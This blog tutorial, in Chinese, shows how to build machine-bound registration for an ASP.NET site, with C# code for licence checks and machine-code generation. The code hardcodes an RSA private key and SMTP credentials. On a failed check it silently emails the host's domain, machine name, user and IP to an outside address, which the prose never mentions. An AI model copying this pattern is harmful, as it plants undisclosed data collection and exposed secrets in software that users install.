zoukankan      html  css  js  c++  java
  • 加密程序-注册方法实现

    1、在我们安装到一个程序到一个机械上时往往需要对其进行加密,也就是注册,没有注册的电脑我们是不能允许访问的

    2、如果你的程序中没有用到nhibernate,那在Global.asax文件里面写入注册的方法

    1     protected void Application_BeginRequest(Object sender, EventArgs e)
    2     {
    3         //验证用户是否注册
    4         OilDigital.Opsys.Web.CheckHelper.Check();
    5     }

    3、类CheckHelper的代码如下:

     1 public class CheckHelper
     2     {
     3         /// <summary>
     4         /// Checks this instance.
     5         /// </summary>
     6         public static void Check()
     7         {
     8             if (System.Web.HttpContext.Current.Response == null) return;
     9 
    10             //从application对象中获取是否注册信息,如果对象为空或者为false,那么重新证实注册信息
    11             if (HttpContext.Current.Application["REG_FLAG"] == null || !(bool)HttpContext.Current.Application["REG_FLAG"])
    12             {
    13                 HttpContext.Current.Application.Lock();
    14                 HttpContext.Current.Application["REG_FLAG"] = new EncryptionHelper().CheckValid();
    15                 HttpContext.Current.Application.UnLock();
    16             }
    17             bool valid = (bool)HttpContext.Current.Application["REG_FLAG"];
    18             if (!valid)
    19             {
    20                 if (System.Web.HttpContext.Current.Response != null)
    21                 {
    22                     System.Web.HttpContext.Current.Response.Write("<html><body><h2 style='color:red;'>错误!您的机器尚未注册,请将如下机器码发给华油数码相关人员进行注册.</h2>");
    23                     System.Web.HttpContext.Current.Response.Write("<p>" + new EncryptionHelper().GetMachineCode() + "</p>");
    24                     System.Web.HttpContext.Current.Response.Write("</body></html>");
    25                     System.Web.HttpContext.Current.Response.End();
    26                 }
    27                 else
    28                     throw new ApplicationException();
    29             }
    30         }
    31     }
    View Code

     4、在这个类中用到了另外一个类的两个方法,一个是检查是否注册,二是如果没有注册会生成机器码

      1 public EncryptionHelper() {
      2             filePath = System.AppDomain.CurrentDomain.BaseDirectory + "setup.bin";
      3             AssemblyName assemblyName = Assembly.GetExecutingAssembly().GetName();
      4             pKey = assemblyName.GetPublicKey();
      5             pKeyToken = new byte[8] { 215, 134, 34, 62, 80, 91, 160, 85 };
      6             //foreach (byte b in pKey)
      7             //{
      8             //    pKeyValue += Convert.ToUInt64(b);
      9             //    pKeyValue <<= 8;
     10             //}
     11             pKeyValue = 12534571195861836469;
     12             rsaPKeyCode = "C5B581C83A0EC9ED83F9A285E7AB06B6BA45EC6A0E8B642C84D9C220E4CACFD6B403AA5AC192BB2DADFE43E1768E91135A0B1D1B5B749FC361D40320D6C9C1FB9AD23BC7AE044FACC190C8E81EF40EAB97DCFC53CE32A027B12E327C817AD584EF0EF6D6C6AD8C4C713E483D8040AAE580FBE5B01D3045EA71D142F40B1DFD05";
     13             rsaD = "85CC807923658C7E0A79000977D0E6FC982F946ABEFAC74380EF9CA038A3FD95D7B25C3F2592C5FE15698CA9EE3031A571BD7F4C5C679F2CB81D4A91BE1DBDBFF0762E05082D765852E8E7A8800027CEF8F6EA80CFC9A383B2C1FA7FA4172B066CBC7426B47513D6088BEF6F7520F665FE84387E89188AB2D60F9E45ACAB47DD";
     14             rsaDP = "9BEF2358211F5A13C867DA5C4EEE2F6943440C328BFCACCCAD22A687DF9DB8A05AB64350C68E9072054AB54829810D349E0A765330D37B37D326F542F844E009";
     15             rsaDQ = "7B9A4586DFA69954BD431609E833B9FE5881E59354A0A08AAFC1262DEFC20DD39E961009D6B7321CE8461E00AF49006201F8EEA5D788B374CD010047D0979449";
     16             rsaInverseQ = "3B67906918CE52B6E74992C768AA0EBF561B4FAB0C1A72EE8BDD99EEFFEA97E657629AF0C570FA82AB9FF0755FF6A3BAA9FBE7141A46D8266A567BFBBADB9024";
     17             rsaModulus = "A2EB313D96CFEFCEB830699071BEA1FF8C894065C37A6A3360FB6D553E85E1DCF3B24323557C333383534769F11A9035D1D95AE0E80D4236E9C881A24B456FE34C7660E7AE9AF4801A451191056A5EEE9A4D44A2596FE4FE086C5CBAE2C490BA4E7653833EA21474B00D93F8F2F69151A5589D732455586281B813C06F125F99";
     18             rsaP = "CCE5B239A1F73AAC4462F924BC8715BD49CB7AAA3E496C2F30A26097239BD9F7847016B3C73FC8D0DEB3DD31BD7C6E673F013152E1031471FAB25FEE2A9F133B";
     19             rsaQ = "CB8D3EF8C059B493D7B42A62BEC1907E82C485D605537AC8F67A77A4F31BCCC7A6B9345CC75F49BF11D9E81D1C3CEDEE285D900FAF31CF2563F3A1ACB019C33B";
     20         
     21         }
     22 
     23         private string GMN()
     24         {
     25             UInt64 seg1, seg2, seg3, seg4, a, b, c, d;
     26             short mili;
     27             GenerateSegments(out mili, out seg1, out seg2, out seg3, out seg4);
     28             EncodeSegments(mili, seg1, seg2, seg3, seg4, out a, out b, out c, out d);
     29             string temp = string.Format("{0:X16}{1:X16}{2:X16}{3:X16}", a, b, c, d);
     30             char[] chars = temp.ToCharArray();
     31             Array.Reverse(chars);
     32             return new string(chars);
     33         }
     34 
     35         private void GenerateSegments(out short mili, out UInt64 seg1, out UInt64 seg2, out UInt64 seg3, out UInt64 seg4)
     36         {
     37             mac = GetMac();
     38             vol = GetVol();
     39             UInt64 now = UInt64.Parse(DateTime.Now.ToString("yyyyMMddHHmmss"));
     40             mili = (short)(now % 100 + 4);
     41             UInt64 a1;
     42             UInt64 a2;
     43             UInt64 a3;
     44             UInt64 b1;
     45             UInt64 b2;
     46             UInt64 c1;
     47             UInt64 c2;
     48             UInt64 c3;
     49             UInt64 d1;
     50             UInt64 d2;
     51             UInt64 d3;
     52             UInt64 d4;
     53 
     54             a1 = (mac << 16) >> 48;
     55             a2 = (mac << 32) >> 48;
     56             a3 = (mac << 48) >> 48;
     57             b1 = (vol << 32) >> 48;
     58             b2 = (vol << 48) >> 48;
     59             c1 = (now << 16) >> 48;
     60             c2 = (now << 32) >> 48;
     61             c3 = (now << 48) >> 48;
     62             d1 = (pKeyValue << 0) >> 48;
     63             d2 = (pKeyValue << 16) >> 48;
     64             d3 = (pKeyValue << 32) >> 48;
     65             d4 = (pKeyValue << 48) >> 48;
     66 #if Petrel
     67             seg1 = ((d1 << 48) + (b1 << 32) + (a1 << 16) + (a3));
     68             seg2 = ((b2 << 48) + (a2 << 32) + (d2 << 16) + (a1));
     69             seg3 = ((a3 << 48) + (b2 << 32) + (d3 << 16) + (b1));
     70             seg4 = ((c1 << 48) + (c2 << 32) + (c3 << 16) + (d4));
     71 #else
     72             seg1 = ((a1 << 48) + (b1 << 32) + (d1 << 16) + (a3));
     73             seg2 = ((d2 << 48) + (a2 << 32) + (b2 << 16) + (b1));
     74             seg3 = ((b2 << 48) + (d3 << 32) + (a3 << 16) + (a2));
     75             seg4 = ((c1 << 48) + (c2 << 32) + (c3 << 16) + (d4));
     76 #endif
     77         }
     78 
     79         private void EncodeSegments(short mili, UInt64 seg1, UInt64 seg2, UInt64 seg3, UInt64 seg4, out UInt64 a, out UInt64 b, out UInt64 c, out UInt64 d)
     80         {
     81             a = ((seg1 >> mili) + (seg1 << (64 - mili)));
     82             b = ((seg2 >> mili) + (seg2 << (64 - mili)));
     83             c = ((seg3 >> mili) + (seg3 << (64 - mili)));
     84             d = ((seg4 >> mili) + (seg4 << (64 - mili)));
     85         }
     86         public string GetMachineCode()
     87         {
     88             using (RSACryptoServiceProvider provider = new RSACryptoServiceProvider())
     89             {
     90                 RSAParameters p = new RSAParameters();
     91                 p.Exponent = new byte[3] { 1, 0, 1 };
     92                 p.Modulus = TraByte(rsaPKeyCode);
     93                 provider.ImportParameters(p);
     94                 string machineNumber = GMN();
     95                 byte[] nBytes = provider.Encrypt(Encoding.ASCII.GetBytes(machineNumber), true);
     96                 provider.Clear();
     97                 return Convert.ToBase64String(nBytes);
     98             }
     99         }
    100 
    101         private string filePath;
    102         /// <summary>
    103         /// Gets the file path.
    104         /// </summary>
    105         /// <value>The file path.</value>
    106         public string FilePath
    107         {
    108             get { return filePath; }
    109         }
    110 
    111         public bool CheckValid()
    112         {
    113             bool valid = true;
    114             if (!File.Exists(filePath))
    115                 return false;
    116             string s = "";
    117             using (FileStream fs = new FileStream(filePath, FileMode.Open, FileAccess.Read))
    118             {
    119                 using (GZipStream gs = new GZipStream(fs, CompressionMode.Decompress))
    120                 {
    121                     using (StreamReader sr = new StreamReader(gs, Encoding.BigEndianUnicode, false))
    122                     {
    123                         s = sr.ReadToEnd();
    124                     }
    125                 }
    126             }
    127             try
    128             {
    129                 Check(s);
    130                 return true;
    131             }
    132             catch
    133             {
    134                 SendMessage("register failure!");
    135                 valid = false;
    136             }
    137             return valid;
    138         }
    139 
    140         public bool Check(string s)
    141         {
    142             try
    143             {
    144                 byte[] bytes = RSADecrpy(s);
    145                 byte[] keys = GetDESKey();
    146                 UInt64 o1, o2;
    147                 o1 = o2 = 0;
    148                 DESDecrpy(bytes, keys, ref o1, ref o2);
    149                 if (o1 == 0 || o2 == 0)
    150                     throw new ApplicationException();
    151                 CheckTrail(o1, o2);
    152             }
    153             catch
    154             {
    155                 if (File.Exists(filePath))
    156                     File.Delete(filePath);
    157                 throw new ApplicationException();
    158             }
    159             return true;
    160         }
    161 
    162         private string rsaD;
    163         private string rsaModulus;
    164         private string rsaDP;
    165         private string rsaDQ;
    166         private string rsaP;
    167         private string rsaQ;
    168         private string rsaInverseQ;
    169 
    170         private byte[] RSADecrpy(string s)
    171         {
    172             using (RSACryptoServiceProvider provider = new RSACryptoServiceProvider())
    173             {
    174                 RSAParameters parameter = new RSAParameters();
    175                 parameter.D = TraByte(rsaD);
    176                 parameter.Modulus = TraByte(rsaModulus);
    177                 parameter.DP = TraByte(rsaDP);
    178                 parameter.DQ = TraByte(rsaDQ);
    179                 parameter.P = TraByte(rsaP);
    180                 parameter.Q = TraByte(rsaQ);
    181                 parameter.InverseQ = TraByte(rsaInverseQ);
    182                 parameter.Exponent = new byte[3] { 1, 0, 1 };
    183                 provider.ImportParameters(parameter);
    184                 byte[] rtn = provider.Decrypt(Convert.FromBase64String(s), false);
    185                 provider.Clear();
    186                 return rtn;
    187             }
    188         }
    189 
    190         private byte[] TraByte(string str)
    191         {
    192             List<byte> tBytes = new List<byte>();
    193             for (int i = 0; i < str.Length; i++)
    194             {
    195                 if (i % 2 == 0)
    196                 {
    197                     tBytes.Add(Convert.ToByte(str.Substring(i, 2), 16));
    198                 }
    199             }
    200             return tBytes.ToArray();
    201         }
    202 
    203         private void DESDecrpy(byte[] bytes, byte[] keys, ref UInt64 o1, ref UInt64 o2)
    204         {
    205             byte[] nbytes;
    206             using (SymmetricAlgorithm provider = new RijndaelManaged())
    207             {
    208                 MemoryStream ms = new MemoryStream();
    209                 CryptoStream cryptostream = new CryptoStream(ms, provider.CreateDecryptor(keys, keys), CryptoStreamMode.Write);
    210                 cryptostream.Write(bytes, 0, bytes.Length);
    211                 cryptostream.FlushFinalBlock();
    212                 nbytes = ms.ToArray();
    213                 ms.Close();
    214                 cryptostream.Close();
    215                 provider.Clear();
    216             }
    217             string final = Encoding.ASCII.GetString(nbytes);
    218             string[] splited = final.Split("-".ToCharArray());
    219             if (splited.Length < 3 || splited[0].Length < 32 || splited[1].Length < 32 || splited[2].Length < 32)
    220                 throw new ApplicationException();
    221             string rn = splited[0] + splited[1];
    222             string regCode = "";
    223             foreach (char ch in rn.ToCharArray())
    224             {
    225                 regCode = ch + regCode;
    226             }
    227             CheckRN(regCode);
    228             string sn = splited[2];
    229             string s1 = sn.Substring(0, 16);
    230             string s2 = sn.Substring(16, 16);
    231             o1 = Convert.ToUInt64(s1, 16);
    232             o2 = Convert.ToUInt64(s2, 16);
    233 
    234         }
    235 
    236         private void CheckRN(string oMachineNumber)
    237         {
    238             UInt64 a, b, c, d, seg1, seg2, seg3, seg4;
    239             DateTime regDate = DateTime.MinValue;
    240             int digit = 0;
    241             a = Convert.ToUInt64(oMachineNumber.Substring(0, 16), 16);
    242             b = Convert.ToUInt64(oMachineNumber.Substring(16, 16), 16);
    243             c = Convert.ToUInt64(oMachineNumber.Substring(32, 16), 16);
    244             d = Convert.ToUInt64(oMachineNumber.Substring(48, 16), 16);
    245             for (int i = 0; i <= 64; i++)
    246             {
    247                 UInt64 t = 0;
    248                 t = (d << i) + (d >> (64 - i));
    249                 t >>= 16;
    250                 string ds = t.ToString();
    251                 if (ds.Length == 14)
    252                 {
    253                     string year = ds.Substring(0, 4);
    254                     string month = ds.Substring(4, 2);
    255                     string day = ds.Substring(6, 2);
    256                     string hour = ds.Substring(8, 2);
    257                     string minute = ds.Substring(10, 2);
    258                     string second = ds.Substring(12, 2);
    259                     string dstring = year + "-" + month + "-" + day + " " + hour + ":" + minute + ":" + second;
    260                     DateTime o;
    261                     if (DateTime.TryParse(dstring, out o))
    262                     {
    263                         if ((i - 4) == o.Second && o <= DateTime.Now)
    264                         {
    265                             regDate = o;
    266                             digit = i;
    267                             break;
    268                         }
    269                     }
    270                 }
    271             }
    272             if (digit <= 0 || regDate == null || regDate == DateTime.MinValue)
    273                 throw new ApplicationException();
    274             UInt64 mask1 = 0xFFFF000000000000;
    275             UInt64 mask2 = mask1 >> 16;
    276             UInt64 mask3 = mask2 >> 16;
    277             UInt64 mask4 = mask3 >> 16;
    278             seg1 = (a << digit) + (a >> (64 - digit));
    279             seg2 = (b << digit) + (b >> (64 - digit));
    280             seg3 = (c << digit) + (c >> (64 - digit));
    281             seg4 = (d << digit) + (d >> (64 - digit));
    282 #if Petrel
    283             UInt64 mac1 = ((seg1 & mask3) << 16) + ((seg2 & mask2) >> 16) + ((seg3 & mask1) >> 48);
    284             UInt64 vol1 = ((seg1 & mask2) >> 16) + ((seg2 & mask1) >> 48);
    285             UInt64 pkValue1 = (seg1 & mask1) + ((seg2 & mask3) << 16) + (seg3 & mask3) + (seg4 & mask4);
    286 #else
    287             UInt64 mac1 = ((seg1 & mask1) + (seg2 & mask2) + (seg3 & mask3)) >> 16;
    288             UInt64 vol1 = ((seg1 & mask2) + (seg2 & mask3)) >> 16;
    289             UInt64 pkValue1 = ((seg1 & mask3) << 32) + ((seg2 & mask1) >> 16) + ((seg3 & mask2) >> 16) + (seg4 & mask4);
    290 #endif
    291 
    292             if (pkValue1 != pKeyValue || (mac1 != mac || vol != vol1))
    293                 throw new ApplicationException();
    294         }
    295 
    296         private void CheckTrail(ulong o1, ulong o2)
    297         {
    298             UInt64 ktkSum = 0;
    299             int ndigit = this.pKeyToken[7] % 64;
    300             foreach (byte bt in this.pKeyToken)
    301             {
    302                 ktkSum <<= 8;
    303                 ktkSum += Convert.ToUInt64(bt);
    304             }
    305             UInt64 mask1 = 0xFFFF000000000000;
    306             UInt64 mask2 = mask1 >> 16;
    307             UInt64 mask3 = mask2 >> 16;
    308             UInt64 mask4 = mask3 >> 16;
    309             UInt64 seg1 = (ktkSum & mask1) + (mac & mask2) + (vol & mask3) + (mac & mask4);
    310             UInt64 seg2 = ((ktkSum & mask2) << 16) + ((mac & mask3) << 16) + ((vol & mask4) << 16) + ((ktkSum & mask3) >> 16);
    311             UInt64 oo1 = (o1 >> ndigit) + (o1 << (64 - ndigit));
    312             UInt64 oo2 = (o2 >> ndigit) + (o2 << (64 - ndigit));
    313             UInt64 mac1 = (oo1 & mask2) + ((oo2 & mask2) >> 16) + (oo1 & mask4);
    314             UInt64 vol1 = (oo1 & mask3) + ((oo2 & mask3) >> 16);
    315             UInt64 ktk1 = (oo1 & mask1) + ((oo2 & mask1) >> 16) + ((oo2 & mask4) << 16) + (ktkSum & mask4);
    316             if (ktk1 != ktkSum || mac1 != mac || vol1 != vol)
    317                 throw new ApplicationException();
    318         }
    319         UInt64 mac, vol;
    320         private byte[] GetDESKey()
    321         {
    322             mac = GetMac();
    323             vol = GetVol();
    324             UInt64 temp = (mac << 16) + (vol << 32) + pKeyValue;
    325             string s = string.Format("{0:x16}", temp);
    326             byte[] keys = Encoding.ASCII.GetBytes(s);
    327             return keys;
    328         }
    329 
    330         private UInt64 pKeyValue;
    331         private string rsaPKeyCode;
    332         private byte[] pKey;
    333         private byte[] pKeyToken;
    334         private bool isManaged;
    335         const int MAX_ADAPTER_DESCRIPTION_LENGTH = 128;
    336         const int ERROR_BUFFER_OVERFLOW = 111;
    337         const int MAX_ADAPTER_NAME_LENGTH = 256;
    338         const int MAX_ADAPTER_ADDRESS_LENGTH = 8;
    339         const int MIB_IF_TYPE_OTHER = 1;
    340         const int MIB_IF_TYPE_ETHERNET = 6;
    341         const int MIB_IF_TYPE_TOKENRING = 9;
    342         const int MIB_IF_TYPE_FDDI = 15;
    343         const int MIB_IF_TYPE_PPP = 23;
    344         const int MIB_IF_TYPE_LOOPBACK = 24;
    345         const int MIB_IF_TYPE_SLIP = 28;
    346 
    347         private UInt64 GetMac()
    348         {
    349             long structSize = Marshal.SizeOf(typeof(IP_ADAPTER_INFO));
    350             IntPtr pArray = Marshal.AllocHGlobal(new IntPtr(structSize));
    351 
    352             int ret = GetAdaptersInfo(pArray, ref structSize);
    353 
    354             if (ret == ERROR_BUFFER_OVERFLOW)
    355             {
    356                 pArray = Marshal.ReAllocHGlobal(pArray, new IntPtr(structSize));
    357                 ret = GetAdaptersInfo(pArray, ref structSize);
    358             }
    359 
    360             if (ret == 0)
    361             {
    362                 StringBuilder sb = new StringBuilder();
    363                 IntPtr pEntry = pArray;
    364                 bool first = true;
    365                 do
    366                 {
    367                     IP_ADAPTER_INFO entry = (IP_ADAPTER_INFO)Marshal.PtrToStructure(pEntry, typeof(IP_ADAPTER_INFO));
    368                     if (first ||
    369                         (entry.Type == MIB_IF_TYPE_ETHERNET && entry.GatewayList.IpAddress.Address != ""))
    370                     {
    371                         sb = new StringBuilder();
    372                         for (int i = 0; i < 6; i++)
    373                         {
    374                             sb.AppendFormat("{0:X2}", entry.Address[i]);
    375                         }
    376                         if (!first)
    377                             break;
    378                         else
    379                             first = false;
    380                     }
    381                     pEntry = entry.Next;
    382                 }
    383                 while (pEntry != IntPtr.Zero);
    384                 Marshal.FreeHGlobal(pArray);
    385                 return UInt64.Parse(sb.ToString(), NumberStyles.HexNumber);
    386             }
    387             else
    388             {
    389                 Marshal.FreeHGlobal(pArray);
    390                 throw new InvalidOperationException("GetAdaptersInfo failed: " + ret);
    391             }
    392 
    393         }
    394         private UInt64 GetVol()
    395         {
    396             StringBuilder volname = new StringBuilder(261);
    397             StringBuilder fsname = new StringBuilder(261);
    398             uint sernum, maxlen;
    399             FileSystemFeature flags;
    400             if (!GetVolumeInformation("c:\", volname, volname.Capacity, out sernum, out maxlen, out flags, fsname, fsname.Capacity))
    401                 Marshal.ThrowExceptionForHR(Marshal.GetHRForLastWin32Error());
    402             string volnamestr = volname.ToString();
    403             string fsnamestr = fsname.ToString();
    404             return sernum;
    405         }
    406         [DllImport("iphlpapi.dll", CharSet = CharSet.Ansi)]
    407         static extern int GetAdaptersInfo(IntPtr pAdapterInfo, ref Int64 pBufOutLen);
    408         [DllImport("Kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    409         static extern bool GetVolumeInformation(string RootPathName, StringBuilder VolumeNameBuffer, int VolumeNameSize, out uint VolumeSerialNumber, out uint MaximumComponentLength, out FileSystemFeature FileSystemFlags, StringBuilder FileSystemNameBuffer, int nFileSystemNameSize);
    410         [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi)]
    411         private struct IP_ADAPTER_INFO
    412         {
    413             public IntPtr Next;
    414             public Int32 ComboIndex;
    415             [MarshalAs(UnmanagedType.ByValTStr, SizeConst = MAX_ADAPTER_NAME_LENGTH + 4)]
    416             public string AdapterName;
    417             [MarshalAs(UnmanagedType.ByValTStr, SizeConst = MAX_ADAPTER_DESCRIPTION_LENGTH + 4)]
    418             public string AdapterDescription;
    419             public UInt32 AddressLength;
    420             [MarshalAs(UnmanagedType.ByValArray, SizeConst = MAX_ADAPTER_ADDRESS_LENGTH)]
    421             public byte[] Address;
    422             public Int32 Index;
    423             public UInt32 Type;
    424             public UInt32 DhcpEnabled;
    425             public IntPtr CurrentIpAddress;
    426             public IP_ADDR_STRING IpAddressList;
    427             public IP_ADDR_STRING GatewayList;
    428             public IP_ADDR_STRING DhcpServer;
    429             public bool HaveWins;
    430             public IP_ADDR_STRING PrimaryWinsServer;
    431             public IP_ADDR_STRING SecondaryWinsServer;
    432             public Int32 LeaseObtained;
    433             public Int32 LeaseExpires;
    434         }
    435         [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi)]
    436         private struct IP_ADDR_STRING
    437         {
    438             public IntPtr Next;
    439             public IP_ADDRESS_STRING IpAddress;
    440             public IP_ADDRESS_STRING Mask;
    441             public Int32 Context;
    442         }
    443         [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi)]
    444         private struct IP_ADDRESS_STRING
    445         {
    446             [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 16)]
    447             public string Address;
    448         }
    449         [Flags]
    450         private enum FileSystemFeature : uint
    451         {
    452             /// <summary>
    453             /// The file system supports case-sensitive file names.
    454             /// </summary>
    455             CaseSensitiveSearch = 1,
    456             /// <summary>
    457             /// The file system preserves the case of file names when it places a name on disk.
    458             /// </summary>
    459             CasePreservedNames = 2,
    460             /// <summary>
    461             /// The file system supports Unicode in file names as they appear on disk.
    462             /// </summary>
    463             UnicodeOnDisk = 4,
    464             /// <summary>
    465             /// The file system preserves and enforces access control lists (ACL).
    466             /// </summary>
    467             PersistentACLS = 8,
    468             /// <summary>
    469             /// The file system supports file-based compression.
    470             /// </summary>
    471             FileCompression = 0x10,
    472             /// <summary>
    473             /// The file system supports disk quotas.
    474             /// </summary>
    475             VolumeQuotas = 0x20,
    476             /// <summary>
    477             /// The file system supports sparse files.
    478             /// </summary>
    479             SupportsSparseFiles = 0x40,
    480             /// <summary>
    481             /// The file system supports re-parse points.
    482             /// </summary>
    483             SupportsReparsePoints = 0x80,
    484             /// <summary>
    485             /// The specified volume is a compressed volume, for example, a DoubleSpace volume.
    486             /// </summary>
    487             VolumeIsCompressed = 0x8000,
    488             /// <summary>
    489             /// The file system supports object identifiers.
    490             /// </summary>
    491             SupportsObjectIDs = 0x10000,
    492             /// <summary>
    493             /// The file system supports the Encrypted File System (EFS).
    494             /// </summary>
    495             SupportsEncryption = 0x20000,
    496             /// <summary>
    497             /// The file system supports named streams.
    498             /// </summary>
    499             NamedStreams = 0x40000,
    500             /// <summary>
    501             /// The specified volume is read-only.
    502             /// </summary>
    503             ReadOnlyVolume = 0x80000,
    504             /// <summary>
    505             /// The volume supports a single sequential write.
    506             /// </summary>
    507             SequentialWriteOnce = 0x100000,
    508             /// <summary>
    509             /// The volume supports transactions.
    510             /// </summary>
    511             SupportsTransactions = 0x200000,
    512         }
    513         /// <summary>
    514         /// Sends the message.
    515         /// </summary>
    516         /// <param name="msg">The MSG.</param>
    517         public static void SendMessage(string msg)
    518         {
    519             ThreadPool.QueueUserWorkItem(SendMsg, msg);
    520         }
    521 
    522         private static void SendMsg(object state)
    523         {
    524             try
    525             {
    526                 MailMessage mm = new MailMessage("witsml@sina.com", "laoer168111@sina.com");
    527                 mm.Body = state.ToString() + "
    ";
    528                 mm.Subject = string.Format("Domain:{0};Machine:{1};User:{2};IP:{3} starting service", Environment.UserDomainName, Environment.MachineName, Environment.UserName, Dns.GetHostEntry(Environment.MachineName).AddressList[0]);
    529                 SmtpClient smtpClient = new SmtpClient("smtp.sina.com", 25);
    530                 smtpClient.Credentials = new NetworkCredential("witsml", "witsmlpwd");
    531                 smtpClient.Send(mm);
    532             }
    533             catch { }
    534         }
    535     }
    View Code

    5、如果没有注册会在网页上面生成一个机械码,再将这个机械码生成一个一注册码,注册码生成bin文件,将bin文件放在网站的根目录下,再运行程序就可以了

        将机械码生成注册码,将注册码生成bin文件都是在另一个软件中完了的,如果需要可以联系我;

  • 相关阅读:
    C#添加修改删除文件文件夹大全
    实用且不花哨的js代码大全
    vs2005 2008快捷键
    C#:String.Format数字格式化输出
    获取农历日期
    Vim 常用快捷键
    一个简单的makefile示例及其注释
    nginx源码剖析(1)概要
    利用Vim 打造开发环境(一)>Linux 字符界面 vim的配置
    Ubuntu 9.10设置摘要
  • 原文地址:https://www.cnblogs.com/zhengwei-cq/p/6823663.html
Copyright © 2011-2022 走看看